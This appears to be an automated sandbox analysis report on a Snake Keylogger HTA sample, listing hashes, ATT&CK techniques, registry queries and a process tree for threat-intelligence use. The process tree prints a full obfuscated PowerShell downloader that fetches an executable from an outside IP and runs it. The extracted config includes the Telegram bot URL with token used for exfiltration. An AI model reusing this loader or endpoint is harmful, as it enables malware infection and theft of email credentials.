snakekeylogger | a83ac36314853f773e848c63c40aafe74029cca2ab364fee41b15486e267e6c9

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-10-2024 06:06

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General

Target

seethemagicalpersoninmylifewithherlifegoodforme.hta
Size

130KB
MD5

42ad4924ceb9f99d1a69af070b9952b9
SHA1

00b53af05220b7e3216a9ef64805feddcc82c729
SHA256

a83ac36314853f773e848c63c40aafe74029cca2ab364fee41b15486e267e6c9
SHA512

688796c131f863fa8dbe67e66167d18997561c61205062bc50e5d14b2f3e1b45614a6d04d0f0eb83029151577ae7494509f69eb038eb79fe50986d1e74cea1b2
SSDEEP

96:Eam77w29ir9w29i3ADFXhAfVVXoPw29i+w29ii2Jw29ihc7T:Ea278r983YXhAteP8+8i2J8hiT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/736-91-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	2524	pOWeRSHEll.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4688	powershell.exe
2524	pOWeRSHEll.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2996	wlanext.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000d000000023b3a-75.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2996 set thread context of 736	2996	wlanext.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pOWeRSHEll.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wlanext.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2524	pOWeRSHEll.exe
2524	pOWeRSHEll.exe
4688	powershell.exe
4688	powershell.exe
736	RegSvcs.exe
736	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2996	wlanext.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2524	pOWeRSHEll.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	736	RegSvcs.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2996	wlanext.exe
2996	wlanext.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2996	wlanext.exe
2996	wlanext.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1072 wrote to memory of 2524	1072	mshta.exe	85
PID 1072 wrote to memory of 2524	1072	mshta.exe	85
PID 1072 wrote to memory of 2524	1072	mshta.exe	85
PID 2524 wrote to memory of 4688	2524	pOWeRSHEll.exe	89
PID 2524 wrote to memory of 4688	2524	pOWeRSHEll.exe	89
PID 2524 wrote to memory of 4688	2524	pOWeRSHEll.exe	89
PID 2524 wrote to memory of 1344	2524	pOWeRSHEll.exe	94
PID 2524 wrote to memory of 1344	2524	pOWeRSHEll.exe	94
PID 2524 wrote to memory of 1344	2524	pOWeRSHEll.exe	94
PID 1344 wrote to memory of 2716	1344	csc.exe	95
PID 1344 wrote to memory of 2716	1344	csc.exe	95
PID 1344 wrote to memory of 2716	1344	csc.exe	95
PID 2524 wrote to memory of 2996	2524	pOWeRSHEll.exe	99
PID 2524 wrote to memory of 2996	2524	pOWeRSHEll.exe	99
PID 2524 wrote to memory of 2996	2524	pOWeRSHEll.exe	99
PID 2996 wrote to memory of 736	2996	wlanext.exe	100
PID 2996 wrote to memory of 736	2996	wlanext.exe	100
PID 2996 wrote to memory of 736	2996	wlanext.exe	100
PID 2996 wrote to memory of 736	2996	wlanext.exe	100

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethemagicalpersoninmylifewithherlifegoodforme.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe
  "C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4688
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kdgnf5xf\kdgnf5xf.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC851.tmp" "c:\Users\Admin\AppData\Local\Temp\kdgnf5xf\CSCDF116EA364DC475680F478B4EAF7195.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2716
- - C:\Users\Admin\AppData\Roaming\wlanext.exe
    "C:\Users\Admin\AppData\Roaming\wlanext.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\wlanext.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pOWeRSHEll.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
827bcc25735d26b181654861c655e703

SHA1
fff1f4d7dd4d19b7075383d5dcc94ba49f4b7119

SHA256
e574521c0978673e10115b5d1236cfeab28a1caa3276d73bbe1b0fe4208b66c1

SHA512
2309fb7e0cab36b1e5808435449b8b7fc5be696fdedacdb6c530e93e3e1f44a6103261c38faec3d5df99d75697d34199ab35817a909b073fb41319b90133a9a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC851.tmp

Filesize
1KB

MD5
22ad1f103a57de93c3b58cbf892ac14a

SHA1
e63488f874217715a2c14ea540666445c4b919fd

SHA256
fba0c39b183704d543704dd1bc484f0e84b34dc572ad2214f38a67035ece45ad

SHA512
3632217d734f66928d4d971acefa180ebb889dfef4547bc94a018ab4a207c0df00be3283c86296a56a3910306f623bc8b5826b47d17c7c142e5a5785ff6aebc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yvmeglr.5sn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kdgnf5xf\kdgnf5xf.dll

Filesize
3KB

MD5
e75c21c7238df0aef4524d6d3f62162a

SHA1
45f46238dc24237fcfb6b957e2a2a3ac09ea0e8e

SHA256
8d2d75ea2c5fc70f55993242614c05ac5a9f3b549898891c41155578ca932d22

SHA512
a755fabcd9d8412459990ef208acb3b665c6b50275d5499d5ba953bb9e72669cc93f0e3e866b4841a29c258244ff7ef18e6065a1297accf9a085a4e27a3d860f

Download Submit
C:\Users\Admin\AppData\Roaming\wlanext.exe

Filesize
910KB

MD5
d70ae089068975f5c914ba70c40c3527

SHA1
b0a81c280689f14bfa4d499955c80155e045e662

SHA256
2385bc1316c82968a13b95bb465c19f7675a6d3504fc3b8c028c00d7acbdc022

SHA512
532dd387f2a6757185aa6da0983d71277c2a7d9774482f27ba6d55478a7035df8b911457523569151be68e45ca6ee0e3a1f3cbff1eaab7d8126454a204532697

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kdgnf5xf\CSCDF116EA364DC475680F478B4EAF7195.TMP

Filesize
652B

MD5
6a5a0b004cbb5111116d5ecbd3f99504

SHA1
21e1dde6c4bfd82dff89a4e41ecc2c1a6c55bbf1

SHA256
ac7569586b854d14cf6f2abe65bc9ef3b14c4b87f1f76f5553685c6d265f4d24

SHA512
bc36ede661f5e5fcac12b39426d0772a0f19a7e7e064ce53925505a6503647be253f989c9f9675d1066739df0e42d7c125fbd7905c57a50eefb7439cc7cb3b5e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kdgnf5xf\kdgnf5xf.0.cs

Filesize
483B

MD5
4c5d6a51b5bad9b89090a128b2676ef5

SHA1
13fbf9031d31d7c621c9fa9816818b341377d487

SHA256
c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7

SHA512
a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\kdgnf5xf\kdgnf5xf.cmdline

Filesize
369B

MD5
8842520ca50d112d21d84a9a3c134565

SHA1
f30020530aae109e80be420c226a79fcdd12865e

SHA256
96a2786fb9f8526c5ae09c2419f8a7bb993b2ecec037bb37c5dadaf5dee24960

SHA512
8e802f33e36721abf54cd299866642d2027bf63a9b05fc1bf1f32490008bf3b448be32f0daac188b35a5bbc00eacf92477a5430058c19aa52e78e633a5545290

Download Submit
memory/736-94-0x0000000006A40000-0x0000000006C02000-memory.dmp

Filesize
1.8MB

Download
memory/736-91-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/736-92-0x0000000005640000-0x00000000056DC000-memory.dmp

Filesize
624KB

Download
memory/736-93-0x0000000006820000-0x0000000006870000-memory.dmp

Filesize
320KB

Download
memory/736-95-0x0000000006910000-0x00000000069A2000-memory.dmp

Filesize
584KB

Download
memory/736-96-0x00000000068D0000-0x00000000068DA000-memory.dmp

Filesize
40KB

Download
memory/2524-73-0x0000000007660000-0x0000000007682000-memory.dmp

Filesize
136KB

Download
memory/2524-7-0x0000000005C40000-0x0000000005CA6000-memory.dmp

Filesize
408KB

Download
memory/2524-1-0x0000000002980000-0x00000000029B6000-memory.dmp

Filesize
216KB

Download
memory/2524-2-0x00000000053B0000-0x00000000059D8000-memory.dmp

Filesize
6.2MB

Download
memory/2524-3-0x00000000708B0000-0x0000000071060000-memory.dmp

Filesize
7.7MB

Download
memory/2524-4-0x00000000708B0000-0x0000000071060000-memory.dmp

Filesize
7.7MB

Download
memory/2524-5-0x00000000052E0000-0x0000000005302000-memory.dmp

Filesize
136KB

Download
memory/2524-6-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/2524-88-0x00000000708B0000-0x0000000071060000-memory.dmp

Filesize
7.7MB

Download
memory/2524-17-0x0000000005CB0000-0x0000000006004000-memory.dmp

Filesize
3.3MB

Download
memory/2524-18-0x0000000006290000-0x00000000062AE000-memory.dmp

Filesize
120KB

Download
memory/2524-74-0x0000000008570000-0x0000000008B14000-memory.dmp

Filesize
5.6MB

Download
memory/2524-0-0x00000000708BE000-0x00000000708BF000-memory.dmp

Filesize
4KB

Download
memory/2524-68-0x00000000708B0000-0x0000000071060000-memory.dmp

Filesize
7.7MB

Download
memory/2524-65-0x0000000006840000-0x0000000006848000-memory.dmp

Filesize
32KB

Download
memory/2524-19-0x00000000062D0000-0x000000000631C000-memory.dmp

Filesize
304KB

Download
memory/2524-67-0x00000000708BE000-0x00000000708BF000-memory.dmp

Filesize
4KB

Download
memory/4688-49-0x0000000007B50000-0x0000000007B6A000-memory.dmp

Filesize
104KB

Download
memory/4688-29-0x00000000074A0000-0x00000000074D2000-memory.dmp

Filesize
200KB

Download
memory/4688-40-0x0000000007460000-0x000000000747E000-memory.dmp

Filesize
120KB

Download
memory/4688-41-0x00000000076E0000-0x0000000007783000-memory.dmp

Filesize
652KB

Download
memory/4688-50-0x0000000007A80000-0x0000000007A88000-memory.dmp

Filesize
32KB

Download
memory/4688-43-0x0000000007800000-0x000000000781A000-memory.dmp

Filesize
104KB

Download
memory/4688-30-0x000000006D170000-0x000000006D1BC000-memory.dmp

Filesize
304KB

Download
memory/4688-48-0x0000000007A40000-0x0000000007A54000-memory.dmp

Filesize
80KB

Download
memory/4688-47-0x0000000007A30000-0x0000000007A3E000-memory.dmp

Filesize
56KB

Download
memory/4688-46-0x0000000007A00000-0x0000000007A11000-memory.dmp

Filesize
68KB

Download
memory/4688-45-0x0000000007A90000-0x0000000007B26000-memory.dmp

Filesize
600KB

Download
memory/4688-44-0x0000000007860000-0x000000000786A000-memory.dmp

Filesize
40KB

Download
memory/4688-42-0x0000000007E50000-0x00000000084CA000-memory.dmp

Filesize
6.5MB

Download